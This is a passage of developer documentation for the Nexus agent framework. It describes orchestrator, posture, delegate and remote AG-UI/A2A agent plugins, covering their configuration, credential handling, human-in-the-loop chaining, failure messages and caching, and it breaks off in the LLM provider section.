        orchestrator LLM
        breaks task into
        subtasks
    end note
    note right of executing
        parallel workers
        respect max_workers
    end note
  1. Decomposing — The orchestrator LLM breaks the task into subtasks with descriptions and optional dependencies
  2. Dispatching — Subtasks are queued and sent to subagent workers (respecting max_workers concurrency)
  3. Executing — Workers run in parallel; the orchestrator tracks progress and collects results
  4. Synthesizing — All results are gathered and the synthesis LLM produces a unified response

Subtask Dependencies

The orchestrator can recognize dependencies between subtasks. Dependent subtasks wait until their prerequisites complete before dispatching.

Failure Handling

  • fail_fast: false (default) — Other workers continue even if one fails. Failed results are included in synthesis.
  • fail_fast: true — All remaining workers are cancelled when any worker fails.

Session Context in Prompts

Both the per-worker system prompt (dispatching) and the synthesis system prompt get a <session_context> section: the current session’s general-namespace (non-_-prefixed) tags, rendered fresh for each build and omitted entirely when none are set. See Prompt Registry → Agent-Level Semantic Tags and Session Tags for what populates it and why the reserved namespace never reaches either prompt.

Example Configuration

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.orchestrator
    - nexus.agent.subagent
    - nexus.agent.react
    - nexus.tool.shell
    - nexus.tool.file
    - nexus.memory.capped
    - nexus.control.cancel

  nexus.agent.orchestrator:
    max_workers: 3
    max_subtasks: 6
    orchestrator_model_role: reasoning
    worker_model_role: balanced
    synthesis_model_role: balanced
    fail_fast: false

  nexus.agent.subagent:
    max_iterations: 10

When to Use

The orchestrator is ideal for:

  • Complex tasks that naturally decompose into independent subtasks
  • Research across multiple topics that can be explored in parallel
  • Code analysis across multiple files or modules simultaneously
  • Any task where parallel execution significantly reduces total time

Posture Registry (nexus.agent.postures)

Loads AgentPosture YAML files from disk and exposes the posture.registry capability that nexus.agent.delegate consumes. fsnotify watches every configured directory for live edits; active sub-sessions keep their old posture, new invocations resolve the new one.

See the Postures architecture page for the full conceptual model and delegation for how the registry is consumed.

Details

IDnexus.agent.postures
Capabilityposture.registry
Dependencies(none)
Requires(none)

Configuration

KeyTypeDefaultDescription
scan_dirs[]string[]Directories scanned for *.yaml / *.yml posture files. Paths run through engine.ExpandPath (supports ~).
debounce_msint250fsnotify reload debounce in milliseconds.

If scan_dirs is empty, no postures load; the plugin still advertises the capability so nexus.agent.delegate boots cleanly (delegate calls will fail with posture: not found).

Posture YAML

Each file in a scan dir is parsed as a single AgentPosture. The filename (minus extension) supplies the name if the YAML omits one.

name: analyst
description: deep reader; quotes sources verbatim
system_prompt: |
  You are a careful analyst. Cite sources by URL. Be concise.
allowed_tools:
  - web_search
  - web_fetch
  - read_pdf
model:
  model_role: reasoning
  max_tokens: 4000
default_budget:
  timeout: 60s
  max_tokens: 50000
  max_tool_calls: 20
max_recursion_depth: 2

A 16-character content hash lands on Version, included automatically in delegate cache keys so any edit invalidates stale entries.

Events

Emits

EventWhen
posture.registeredA posture loads (initial scan) or reloads (watcher fire).
posture.removedA posture file is deleted or fails to parse after an edit.

See events reference for payload shape.

Subscribes To

None.

Example

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.agent.postures
    - nexus.agent.delegate
    - nexus.memory.capped

  nexus.agent.postures:
    scan_dirs:
      - ~/.nexus/postures
      - ./configs/postures
    debounce_ms: 250

Delegate (nexus.agent.delegate)

Exposes the delegate tool — the LLM-facing surface of the sub-agent delegation primitive. A parent agent picks a registered posture by name; the runtime spawns an isolated sub-session with its own envelope identity, runs the LLM loop filtered to the posture’s AllowedTools, and enforces the posture’s DefaultBudget with optional per-call overrides.

Details

IDnexus.agent.delegate
Dependencies(none)
RequiresCapability posture.registry (typically nexus.agent.postures)

Configuration

KeyTypeDefaultDescription
max_depthint3Hard cap on sub-agent recursion depth across all postures. Individual postures may tighten with max_recursion_depth.
cache_sizeint256Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction.
cachebooltrueSet false to disable result caching entirely.

Tool definition

The plugin registers a single tool, delegate, with these parameters:

ParameterTypeRequiredDescription
posturestringyesRegistered AgentPosture name.
taskstringyesNatural-language description of what the sub-agent should accomplish.
contextobjectnoStructured context the sub-agent receives alongside the task. Serialized into the initial user message under <delegate_context>.
max_tokensintnoOverride the posture’s default token budget for this call.
max_tool_callsintnoOverride the posture’s default tool-call budget.
timeout_secondsintnoOverride the posture’s default timeout.

The tool’s JSON output is a delegate.Output:

{
  "Result": "...",
  "Status": "success",   // success | partial | error | timeout | cancelled | cache_hit
  "Error": "",
  "TokensUsed": 1832,
  "ToolCallsUsed": 4,
  "Elapsed": 8421000000,
  "SubSessionID": "abcd...",
  "PostureName": "analyst",
  "PostureVer": "a1b2c3d4e5f6...",
  "Depth": 1
}

The parent agent branches on Status to decide whether to retry with a larger budget, fall back to handling the task itself, or surface the partial result.

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handle invocations of the delegate tool.
tool.register(default)Build the snapshot of catalog tools so the runtime can filter to the posture’s AllowedTools.

Emits

EventWhen
tool.registerRegisters the delegate tool at boot.
delegate.startA sub-session is about to begin.
delegate.completeA sub-session has finished.
llm.request / before:llm.requestPer LLM iteration inside the sub-session.
tool.invoke / before:tool.invokePer tool call the sub-agent dispatches.
tool.result / before:tool.resultThe final response to the parent agent.

See delegate events for delegate.start / delegate.complete payload shape.

Example

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.agent.postures
    - nexus.agent.delegate
    - nexus.tool.web
    - nexus.memory.capped

  nexus.agent.postures:
    scan_dirs:
      - ~/.nexus/postures

  nexus.agent.delegate:
    max_depth: 3
    cache_size: 512

  nexus.agent.react:
    system_prompt: |
      When a task benefits from a different reasoning style or a restricted
      tool surface, call the delegate tool with the appropriate posture
      (analyst, summarizer, auditor, ...).

Causation

Every event emitted from inside a sub-session carries the sub-agent’s AgentID (delegate/<posture>/<sub_session_id>) and Depth on Event.Causation. The replay primitive and observability tooling use this to attribute work to the right specialist.

Remote AG-UI Agents (nexus.agent.agui_remote)

The consume side of Nexus’s AG-UI integration. Where nexus.io.agui serves a Nexus agent over the AG-UI wire, nexus.agent.agui_remote lets a Nexus agent call a remote AG-UI agent — any service that speaks the AG-UI protocol, including another Nexus instance running nexus.io.agui — as if it were a local delegate.

Each configured remote agent is registered as an LLM-facing tool (default name delegate_agui_<name>). When the parent agent calls it, the plugin builds an AG-UI RunAgentInput from the delegated task, streams the remote run over the AG-UI wire (HTTP POST + SSE) via the reusable AG-UI client, maps the remote run’s event stream back onto the Nexus bus, and returns the remote run’s terminal outcome as the tool.result the parent expects.

From the parent agent’s perspective a remote AG-UI call is a single tool call, exactly like the local delegate and subagent primitives — the transport just happens to be the AG-UI wire instead of an in-process sub-session.

Details

IDnexus.agent.agui_remote
Dependencies(none)
Requires(none)
Sourceplugins/agents/aguiremote/plugin.go

Configuration

The full, authoritative key list lives in the configuration reference. In brief:

KeyTypeDefaultDescription
agentslist(required)Non-empty list of remote AG-UI agents to expose. Each entry is a mapping (see below).
timeout_secondsint120Default per-call timeout (seconds). Overridable per agent and per call.
cache_sizeint128Capacity of the in-process LRU result cache (entries). Zero disables eviction.
cachebooltrueSet false to disable result caching entirely.

Each agents[] entry:

KeyTypeDefaultDescription
namestring(required)Human-friendly identifier; used to derive the default tool name.
endpointstring(required)Full AG-UI POST endpoint URL (e.g. https://host/agui).
tool_namestringdelegate_agui_<name>Override the LLM-facing tool name.
descriptionstring(auto)Override the tool description shown to the LLM.
bearer_tokenstring(none)Static bearer token for the Authorization header. Prefer bearer_token_env.
bearer_token_envstring(none)Name of an environment variable holding the bearer token. Read at Init.
timeout_secondsint(plugin default)Per-agent default timeout, overriding the plugin-level value.

Authentication

Secrets never live in config files: prefer bearer_token_env and point it at an environment variable. When set, the client sends Authorization: Bearer <token> on the POST that opens the remote run — matching the bearer auth nexus.io.agui enforces on the serve side. bearer_token (an inline literal) is supported for quick local testing but is only used when bearer_token_env is unset.

Tool definition

Each remote agent registers one tool. The default name is delegate_agui_<name> (the name lowercased with non-alphanumeric runs collapsed to _); override it with tool_name.

ParameterTypeRequiredDescription
taskstringyesNatural-language description of what the remote agent should accomplish.
contextobjectnoStructured context passed alongside the task. Serialized into the initial user message under an XML <delegate_context> boundary.
timeout_secondsintnoOverride the remote agent’s default timeout for this call.

Event & result mapping

While the remote run streams, the plugin translates the incoming AG-UI events onto the caller’s bus so local observers (journal, TUI, observability) see the remote work as a sub-run:

Remote AG-UI eventMapped Nexus event
TextMessageContent / TextMessageChunkio.output (role assistant) — streamed text deltas
TextMessageEndsubagent.iteration — a message boundary
ToolCallStart / ToolCallArgs / ToolCallEndaccumulated into a subagent.iteration with the tool call
(run begins)subagent.started
(run ends)subagent.complete — carries the terminal result or error

The terminal outcome — accumulated text deltas, or the RunFinished result payload when the remote streamed no text — becomes the tool.result Output returned to the parent agent. The whole tool.result passes through the vetoable before:tool.result gate first.

Every mapped event carries the remote sub-run’s causation identity (AgentID = agui_remote/<name>/<spawn_id>, Depth = parent + 1), so remote work slots into the causation tree beneath the caller just like a local delegate.

Failure behavior

All failure modes surface as a clean tool error (tool.result.Error) — never a hang or panic — and are mirrored on subagent.complete.Error:

ConditionResult
Remote emits RunErrorremote agui run error: <code>: <message>
Transport error / endpoint unreachableremote agui transport error: ...
Stream read error mid-runremote agui stream error: ...
Non-2xx rejection (e.g. 401 from bearer auth)remote agui rejected request: HTTP <code>
Per-call timeout elapsescontext-deadline error surfaced as a stream/transport error
Remote interrupts awaiting inputremote agui agent interrupted awaiting input: <prompt> (a one-shot delegate cannot resolve a remote HITL interrupt)
Remote run cancelledremote agui run cancelled

The parent agent’s loop consumes the error tool.result and continues normally, so a flaky or unreachable remote never stalls the caller.

Caching

Identical calls replay from an in-process LRU keyed by endpoint + task + canonicalized context (mirroring the local delegate cache), so repeated delegations do not re-hit the remote endpoint. A cache hit still emits a subagent.started / subagent.complete pair so observers see the call. Errors are never cached. Set cache: false to disable.

Example

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.agent.agui_remote
    - nexus.memory.capped

  nexus.agent.agui_remote:
    timeout_seconds: 90
    agents:
      - name: researcher
        endpoint: https://research.internal/agui
        bearer_token_env: RESEARCH_AGUI_TOKEN
        description: A specialist research agent reachable over AG-UI.
      - name: legal
        endpoint: https://legal.internal/agui
        tool_name: ask_legal

  nexus.agent.react:
    system_prompt: |
      When a task needs specialist knowledge, delegate it: call
      delegate_agui_researcher for research questions or ask_legal for
      legal review. Pass a clear task and any relevant context.

Loopback (serve ↔ consume)

Because nexus.io.agui speaks the same AG-UI wire, you can point nexus.agent.agui_remote at another Nexus instance’s serve endpoint. This loopback topology is the cheapest faithful end-to-end proof of the consume path and is exactly what the integration test (tests/integration/agui_consume_test.go) exercises: a caller engine delegates to a loopback nexus.io.agui serve engine and receives the remote agent’s result back as a tool.result.

See also

Remote A2A Agents (nexus.agent.a2a_remote)

The outbound side of Nexus’s Agent2Agent integration. Where nexus.io.a2a serves a Nexus instance as an A2A agent, nexus.agent.a2a_remote lets a Nexus agent call remote A2A agents — any service that speaks A2A, including another Nexus instance running nexus.io.a2a.

Each configured remote is registered as an LLM-facing tool (default delegate_a2a_<name>). When the parent agent calls it, the plugin resolves the remote’s Agent Card, sends the delegated task over the A2A wire through pkg/a2a/a2aclient, and folds the remote task’s final text and artifacts back into the tool.result the parent expects.

From the parent agent’s perspective a remote A2A call is a single tool call, exactly like the local delegate and agui_remote primitives — the transport just happens to be the A2A wire.

Details

IDnexus.agent.a2a_remote
Dependencies(none)
Requiresposture.registry (optional)
Sourceplugins/agents/a2aremote/

posture.registry is optional here, unlike on delegate: a posture is one way to bound a remote and the plugin is fully usable without one. A remote that names a posture with no registry active fails that call, with an error naming the plugin to activate — it does not fail boot.

Configuration

The full, authoritative key list lives in the configuration reference. In brief:

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.agent.a2a_remote
    - nexus.memory.capped

  nexus.agent.a2a_remote:
    timeout: 3m
    hitl:
      input_timeout: 10m
      max_rounds: 3
    agents:
      - name: researcher
        base_url: https://research.internal
        description: A specialist research agent reachable over A2A.
      - name: legal
        base_url: https://legal.internal
        tool_name: ask_legal
        stream: false
        timeout: 30s
        progress: false
        hitl:
          enabled: false

Every transport key (binding, stream, the four timeouts, retry, extensions, validate_card, progress, hitl) exists at both levels: at the plugin level as a default and inside an agents[] entry as an override. The hitl block inherits key by key, so an agent that sets only enabled keeps the plugin-level input_timeout and max_rounds.

base_url, not an endpoint

base_url is the origin (plus optional path prefix) the remote agent is served under, not an operation URL. The Agent Card is fetched from /.well-known/agent-card.json beneath it and names the per-binding endpoints, so an operator configures one URL rather than one URL per binding.

An operator who was handed a card out of band, or who knows the endpoint outright, pins it with jsonrpc_endpoint or rest_endpoint, which skips discovery for that binding entirely.

Model-supplied URLs are out of scope

The tool schema exposes no url, endpoint or host parameter, and must not grow one. Which remotes this instance can reach is an operator decision: a model-chosen address is a server-side request forgery surface and an unbounded spend surface at the same time, and neither is worth the flexibility.

Discovery is lazy

A remote agent is somebody else’s process. Its Agent Card is therefore fetched on first use, never during Ready():

  • A remote that is down — restarting, not deployed yet, behind a VPN nobody has connected to — cannot fail this instance’s startup.
  • Until the card resolves, the tool carries the configured description, or a generic one naming the agent and saying the remote has not been contacted.
  • The first successful call rebuilds the description from the card’s own name, version, description and skills, and re-registers the tool once. The tool catalog replaces an entry registered under an existing name, so this is an update rather than a duplicate.
  • a2aclient caches a card only on success, so a remote that comes up later resolves on the next call with no retry logic here.

Tool definition

ParameterTypeRequiredDescription
taskstringyesNatural-language description of what the remote agent should accomplish. The remote does not see the caller’s conversation, so the task must stand alone.
contextobjectnoStructured context passed alongside the task, serialized into the outbound message under an XML <delegate_context> boundary.
timeout_secondsintnoOverride this call’s time budget.

Budgets and depth

An agents[] entry may name a posture, in which case the registered AgentPosture bounds the call the same way it bounds a local delegate.

Only two of a posture’s dimensions cross an A2A boundary:

Posture fieldEffect
default_budget.timeoutThe call’s whole-run deadline.
max_recursion_depthNarrows the plugin-level max_depth for this remote.
default_budget.max_tokensRefused.
default_budget.max_tool_callsRefused.

The remote runs its own loop under its own budget; A2A gives a client no say over its token or tool-call spend. A posture that sets either is refused with an error naming the key rather than silently half-honoured — accepting a budget that cannot be enforced would be the worse failure.

Timeout precedence, first match wins:

  1. the tool’s timeout_seconds argument
  2. the posture’s default_budget.timeout
  3. the timeout key (agent-level, else plugin-level)
  4. the 5m built-in default

Delegation depth rides the bus’s causation stack, so a remote call slots beneath its caller in the causation tree exactly as a local delegate does.

The result the model sees

A2A splits an answer between the terminal status message and the task’s artifacts (§3.7), and a remote is free to put its whole answer in either. Both are folded into one XML-tagged document, per the house convention for prompt-injected content:

<remote_agent name="researcher" state="TASK_STATE_COMPLETED" task_id="t-1" context_id="c-1">
<final_response>
<![CDATA[the agent's closing summary]]>
</final_response>
<artifacts count="2">
<artifact id="turn-answer" name="answer">
<text media_type="text/plain">
<![CDATA[the answer text]]>
</text>
</artifact>
<artifact id="tool-1" name="web_search result">
<data media_type="application/json">
<![CDATA[{ "hits": 3 }]]>
</data>
</artifact>
</artifacts>
</remote_agent>
  • Remote-authored text rides in CDATA, and a remote-supplied ]]> is split across two sections, so a remote cannot break the framing the model reads.
  • Binary (raw) and external (url) parts are described, not inlined: <binary bytes="9182" media_type="application/pdf" filename="report.pdf"/>. Base64 in a prompt costs tokens and tells the model nothing it can use.
  • An oversized part is truncated at 16 KiB and marked truncated="true" with its original_bytes, so the model can tell a fragment from a whole document.
  • Parts carrying Nexus extension telemetry are dropped: they are observability, not output.

Event mapping

PointEmitted
Ready(), and once per remote after its card resolvestool.register
Call starts (including a cache hit)subagent.started
Remote narrates on a non-terminal status messageio.output (under the delegated run’s own turn id, a2a_remote_<spawn>)
Remote reports a tool call or subagent progress via the Nexus extensionsubagent.iteration
Remote parks at INPUT_REQUIREDbefore:hitl.requested (vetoable), then hitl.requested
A question is abandoned or the turn is cancelledhitl.cancel
Call endssubagent.complete — carries the folded result or the error
Result publishedbefore:tool.result (vetoable), then tool.result

Subscriptions: tool.invoke, hitl.responded (the human’s answer, from whichever transport rendered the question) and cancel.active.

hitl.responded is conspicuously absent from the emissions and must stay absent — this plugin asks questions and waits, it never answers one. The contract test asserts it.

Live progress

A delegated call takes as long as the remote’s work does. Without republishing, the only thing a local transport sees is a subagent.started, a long silence and a subagent.complete — an operator cannot tell a remote that is working from one that has hung, and the browser, AG-UI and A2A-serve transports have nothing to render either.

So each frame the remote streams is mapped onto the bus as it arrives, following the agui_remote precedent:

FrameRepublished asWhy
Non-terminal status update carrying a messageio.outputA2A’s own extension-free progress channel (§3.1.1): the remote narrating.
Nexus extension tool_call telemetrysubagent.iteration with the callThe remote’s own tool use, which A2A has no canonical field for.
Nexus extension subagent telemetrysubagent.iteration with the phase and detailThe remote’s own delegations.
Artifact frames(nothing)An artifact is output, and all of it is folded into the tool result. Emitting it twice would put the remote’s answer in the local conversation before the delegating agent had decided what to do with it.
Terminal status message(nothing)That is the answer, and it rides in the tool result.
INPUT_REQUIRED status message(nothing)That is a question for a human, not progress — see below.
Nexus extension thinking / usage telemetry(nothing)Reasoning belongs in the remote’s transcript; tokens are the remote’s spend under the remote’s budget. Surfacing either locally would misattribute it.

Because the tool-call and subagent rows depend on the Nexus extension, the extensions key defaults to the Nexus extension URI. A remote that has never heard of it answers exactly as it would have (§8.4 requires a server to activate only extensions it recognizes, and this one declares itself optional); a remote Nexus instance answers with the telemetry that makes the table above useful. Set extensions: [] to send none.

Set progress: false (plugin-wide or per agent) to silence the republishing for a chatty remote. Task identity is still tracked, so cancellation and resumption are unaffected.

Chained human-in-the-loop

When a remote parks its task at TASK_STATE_INPUT_REQUIRED, the question travels on the status message (§3.1.1) and the task stays live. A2A has no resume operation: the task is continued by sending an ordinary message carrying the same taskId and contextId (§3.4), and that identity is what makes the message a continuation rather than a new conversation.

remote parks at INPUT_REQUIRED
      -> before:hitl.requested (vetoable)  -> hitl.requested
      -> [ a human answers, via any transport ]  -> hitl.responded
      -> SendStreamingMessage with the SAME taskId + contextId
      -> remote continues to a terminal state

The delegating model never sees the question. That is the point. A question a remote agent cannot answer for itself is almost always one only a person can settle — which deployment, which fiscal year, whose budget — and handing it to the model that asked for the delegation invites it to invent an answer and then act on it. There is no code path that gives the model one.

nexus.control.hitl is reached only over the bus, exactly as the approval gates and memory plugins reach it. It need not even be active: any transport that renders hitl.requested and answers with hitl.responded serves.

It composes. A Nexus instance serving over nexus.io.a2a turns its own hitl.requested into an INPUT_REQUIRED status; this plugin turns an inbound INPUT_REQUIRED into a local hitl.requested. Chain two of them and a question raised two hops down arrives in front of the human at the top, each hop resuming its own task under its own taskId.

Deadlines while parked

Two run concurrently and the earlier one wins.

DeadlineDefaultWhat it bounds
timeout (the whole-call budget)5mThe entire delegation. It keeps running while the task is parked — a remote waiting on a human is still work this session authorized.
hitl.input_timeout15mOne question waiting on a human. The outbound twin of nexus.io.a2a’s tasks.input_timeout.

With the defaults the call budget expires first, which makes input_timeout the looser of the two; raise timeout for a remote you expect to ask questions. Whichever fires:

  1. the question is retracted with hitl.cancel, so no stale prompt is left in a UI or in the hitl registry’s on-disk queue;
  2. the remote task is cancelled with CancelTask, so nobody is left working for a caller that has gone away;
  3. the delegation ends as a clean tool error naming which deadline fired, carrying the question, and telling the model explicitly not to answer it.

hitl.max_rounds (default 4) bounds a remote that answers every answer with another question; 0 removes the cap and leaves the call budget as the only one.

Chaining works on both bindings

A2A leaves it to the server whether an INPUT_REQUIRED park closes the SSE stream or holds it open, and both readings are legal — nexus.io.a2a holds it open, with keep-alive comments and no terminal frame. Either way the question is carried by the interruption frame, never by the stream ending, so this plugin stops reading the moment it sees one and resumes on a fresh connection (§3.4). Chaining therefore works at the shipped default, stream: true, and there is no reason to drop to stream: false for a remote that asks questions — doing so only costs you live progress, since a blocking call has no frames to republish.

The one interrupted frame that is not a new question is the opening snapshot of a continuation: a server answering a resuming message opens on the task as it stands, which is the very park being answered. That frame is skipped, so a human is never re-asked the question they just answered.

tests/integration/a2a_loopback_test.go pins the Nexus→Nexus shape end to end, streaming included.

AUTH_REQUIRED is not routed to a human. The remote is asking for a credential, and no answer a person types is one — the fix is a credentials block, and the tool error says so.

Outcomes a human answered for are never cached: a person’s answer is a decision made at a moment, and replaying it for a later identical task would apply that decision again without asking.

Cancellation

cancel.active — the event nexus.control.cancel emits once a cancellation is actually happening, and the same one the LLM providers abort on — propagates to every remote in flight:

  1. any question this delegation put in front of a human is retracted with hitl.cancel;
  2. CancelTask (§3.3) is issued for every remote task whose id is known;
  3. the call’s context is cancelled, so the stream reader unblocks and the tool result is published as a cancellation rather than a hang.

The same abandonment runs on the ordinary exits — an exhausted budget, a broken stream, an unanswered question, engine shutdown. The rule is one sentence: if this instance walks away from a remote task that has not reached a terminal state, it tells the remote. A task that already finished is left alone.

Failure behavior

Every failure surfaces as a clean tool.result error carrying a sentence the calling model can act on, alongside whatever partial output did arrive. None of them is an engine-level failure, and the parent agent’s loop continues normally.

ConditionWhat the model is told
Agent Card unreachable / non-2xx“the agent is unreachable — its agent card at <url> could not be fetched … The remote may be down; try again later or proceed without it.”
Agent Card unparseable or non-conformant“the agent card … is not usable … This is a misconfiguration on the remote, not something retrying will fix.”
Card exposes no interface for the configured binding“the agent does not expose the <binding> binding this instance is configured for”
Stream goes silent past stream_idle_timeout“the agent went silent mid-run … Any output above is partial.”
Stream never opens past stream_open_timeout“the agent did not accept the streaming request in time.”
Stream ends before a terminal state“the agent closed the stream … without finishing its task. Any output above is partial.”
Malformed / non-conformant frames“the agent sent a response this client cannot read … a defect in the remote”
A2A protocol error from the remote“the agent refused the request (<ErrorType>): …”
HTTP 401/403“The credentials this instance presents are not accepted; an operator must fix the configuration.” — when the remote reports the refusal as an HTTP status. A remote that answers a refusal inside a JSON-RPC error envelope instead (which nexus.io.a2a does) surfaces as the protocol-error row above; either way the delegation fails cleanly and the message names the refusal.
HTTP 429 / 5xx“The agent is rate limiting / failing on its side; try again later.”
Whole-call budget exhausted“the agent did not finish within the <budget> budget for this call. Any output above is partial.”
Task ends FAILED / REJECTED“ended its task in state TASK_STATE_FAILED: <the remote's explanation>
Task ends CANCELED“cancelled its task”
Task parks at INPUT_REQUIRED, chaining off“paused … and is waiting for input: <the question>. Re-delegate with the answer included in the task.”
Task parks at INPUT_REQUIRED, question unanswered“asked a question and no answer arrived within <deadline> … It was put to a human and is unanswered — do NOT answer it on their behalf.”
Task parks at INPUT_REQUIRED, question declined“asked a question and it was declined: <the human's reason> … do NOT answer it on their behalf.”
Remote asks more than hitl.max_rounds times“asked for input <n> times in one delegation, which is the configured limit … Try a more specific task, or raise hitl.max_rounds.”
Task parks at AUTH_REQUIRED“it needs credentials this instance did not present … An operator must configure this agent’s credentials; retrying will not fix it.”
Delegation depth cap reached“delegation depth limit reached … Answer from what you already have, or delegate from a shallower point.”
Named posture missing or unenforceableAn error naming the posture and the key at fault.

Caching

Identical calls replay from a bounded in-process LRU keyed by a content hash of the remote’s identity, the posture version, the task, and the canonicalized context — mirroring the local delegate cache, so a posture edit invalidates stale entries.

Only successes are cached, and only ones no human answered for. A failed outcome is never stored, so a remote that was briefly down, rate limited or mid-deploy is genuinely retried on the next call rather than answering from a cached failure until the process restarts. A delegation a human answered a question for is not stored either — see Chained human-in-the-loop.

A cache hit still emits the subagent.started / subagent.complete pair so observers see the call. Set cache: false to disable, cache_size: 0 to disable eviction.

Credentials

Each remote names the credential this instance presents to it in its own credentials: block. Four types are supported — none, bearer, oauth2_client_credentials and mtls — and the full key list is in the configuration reference.

  nexus.agent.a2a_remote:
    agents:
      # An open endpoint: a loopback peer, a development agent.
      - name: local_peer
        base_url: http://127.0.0.1:8091

      # A static token, the same api_key / api_key_env shape the LLM
      # providers use.
      - name: researcher
        base_url: https://research.internal
        credentials:
          type: bearer
          token_env: RESEARCH_AGENT_TOKEN

      # Machine-to-machine OAuth2. token_url is optional: it is discovered
      # from the remote's own card on first use.
      - name: legal
        base_url: https://legal.internal
        credentials:
          type: oauth2_client_credentials
          client_id_env: LEGAL_CLIENT_ID
          client_secret_env: LEGAL_CLIENT_SECRET
          scopes: [a2a.invoke]

      # Client-certificate authentication. Paths take ~.
      - name: finance
        base_url: https://finance.internal
        credentials:
          type: mtls
          cert_file: ~/.nexus/certs/finance-client.pem
          key_file: ~/.nexus/certs/finance-client-key.pem
          ca_file: ~/.nexus/certs/internal-ca.pem

Per remote, never inherited

Unlike every transport key, credentials: exists only inside an agents[] entry. There is no plugin-level default and there must not be one: a default credential silently applied to a remote an operator added later is how a token reaches a host it was never issued for.

Validated at boot, not on first delegation

An unset environment variable, a key belonging to a different type, an unreadable client certificate, a key that does not match its certificate, an OAuth2 remote with neither a token_url nor a base_url to discover one from — each stops the engine at Init with a message naming the agent and the key. None of them waits to become a 401 the first time a model happens to delegate.

What is not checked at boot is anything only the remote can answer: whether the token is accepted, whether the certificate is trusted, whether the token endpoint exists. Those need the network, and this plugin does not touch the network at boot.

No credential value is ever logged

On any path, including failures. Failure messages name the agent, the key and the kind of failure and stop there. A token endpoint’s free-text error_description is dropped wholesale rather than scrubbed — a server is free to echo the client secret into it — and only the fixed RFC 6749 error code is reported, which is what an operator actually needs.

OAuth2: one token per burst

The access token is cached and replaced refresh_leeway (default 30s) ahead of its stated expiry. A fetch is single-flight: a model that fans out produces a burst of tool calls that all reach the credential source within microseconds, and an authorization server answers a burst of identical grants with a 429. The first caller fetches; the rest wait on it and share the result, including a failure, so a token endpoint that is down is hit once per burst rather than once per call.

When token_url is discovered from the card rather than configured, exactly one request necessarily precedes the token: the well-known Agent Card fetch, which goes out unauthenticated. Specification §8.2 makes that document public. A remote that protects its card wants token_url set explicitly, and the 401 it answers with says so.

Card mismatch is a warning, not a refusal

On the first call to a remote — never at boot, since the card is fetched lazily — the configured credential is compared against the card’s securitySchemes. An obvious mismatch, such as a bearer token against a card declaring only mutualTls, logs one warning naming the schemes the card declares; a remote that declares schemes while this instance sends nothing logs one too.

It warns rather than refuses because a card’s securitySchemes block is optional and routinely incomplete — a remote behind a gateway that terminates mTLS may declare nothing at all — and refusing on that evidence would break working deployments over a documentation defect. What the warning buys is that the far more common case, a credential configured against the wrong remote, is diagnosed in a log line instead of an opaque 401.

Loopback (serve ↔ consume)

Because nexus.io.a2a speaks the same wire, you can point nexus.agent.a2a_remote at another Nexus instance’s serve endpoint:

  nexus.agent.a2a_remote:
    agents:
      - name: local_peer
        base_url: http://127.0.0.1:8091
        credentials:
          type: bearer
          token_env: PEER_A2A_TOKEN

This loopback topology is the cheapest faithful end-to-end proof of the outbound path — one Nexus instance delegating to another over A2A, with no third-party implementation in the test path. It ships as three runnable configs and one integration test:

FileRole
configs/test-a2a-loopback-caller.yamlThe delegating engine: nexus.agent.a2a_remote pointed at the callee, bearer credential, mock LLM.
configs/test-a2a-loopback-server.yamlThe callee: nexus.io.a2a on 127.0.0.1:18192, bearer-guarded, mock LLM.
configs/test-a2a-loopback-hitl-server.yamlThe same callee, but its mocked agent calls ask_user, so the task parks at INPUT_REQUIRED.
tests/integration/a2a_loopback_test.goBoots both engines and drives card fetch, a streaming run to COMPLETED, artifact return, bearer acceptance and refusal, a chained question answered on the caller’s side, the two input deadlines racing each other, and cancellation crossing the boundary.
go test -tags integration ./tests/integration/ -run TestA2ALoopback -v

What the loopback does and does not prove. It proves the two Nexus mappings are self-consistent — that what one emits, the other reads. It does not prove third-party interoperability: no external A2A implementation and no conformance test kit is in that path. The expectations that are not self-referential live in the shared corpus at pkg/a2a/a2aconform, which nexus.io.a2a is driven against separately; see Conformance: one corpus, two mappings.

See also

LLM Providers

LLM provider plugins handle communication with AI model APIs. They receive llm.request events, call the external API, and emit llm.response (or streaming chunks).

Available Providers

PluginIDService
Anthropicnexus.llm.anthropicClaude (direct HTTP, no SDK)
OpenAInexus.llm.openaiGPT / o-series (direct HTTP, no SDK)
Gemininexus.llm.geminiGoogle Gemini — public api-key + Vertex AI; thinking, multimodal, code execution, prompt caching
Fallbacknexus.provider.fallbackAutomatic provider failover coordinator
Fanoutnexus.provider.fanoutParallel multi-provider dispatch

Provider Architecture

Providers are low-level plugins that:

  1. Subscribe to llm.request at high priority (10)
  2. Resolve the requested model role via the Model Registry
  3. Apply prompt registry sections to the system prompt
  4. Make the API call (with streaming support)
  5. Emit llm.response or llm.stream.chunk / llm.stream.end

Providers don’t know about agents, tools, or conversations — they only translate between the Nexus event model and the external API.

Structured Output

When ResponseFormat is set on an LLMRequest, providers map it to their native structured output mechanism if supported, or simulate it otherwise.

Capability Matrix

ProviderNative SupportStrategy
OpenAIYesMaps directly to response_format in the API payload
AnthropicNoSimulates via tool-use-as-schema: injects synthetic tool, forces tool choice, unwraps tool call arguments as structured response
GeminiYesMaps to generationConfig.responseMimeType + responseSchema (incompatible JSON Schema keywords stripped)
Other/unknownNoIgnores the field; json_schema gate handles validation downstream

Metadata Flag

Providers set LLMResponse.Metadata["_structured_output"] = true when structured output enforcement was used (native or simulated). Downstream consumers (like the json_schema gate) can check this flag to skip redundant validation.

Anthropic (Claude) Provider

The Anthropic provider calls the Claude API via direct HTTP requests — no SDK dependency. It supports streaming, tool use, request cancellation, and automatic retries.

Details

IDnexus.llm.anthropic
DependenciesNone

Configuration

KeyTypeDefaultDescription
api_key_envstringANTHROPIC_API_KEYName of the environment variable containing the API key
debugboolfalseLog raw request/response bodies to the session plugin directory
pricingmap(embedded defaults)Per-model pricing overrides. Keys are model IDs, values have input_per_million and output_per_million (USD)

Events

Subscribes To

EventPriorityPurpose
llm.request10Receives LLM requests from agents
cancel.active5Cancels in-flight API requests

Emits

EventWhen
llm.responseNon-streaming response received
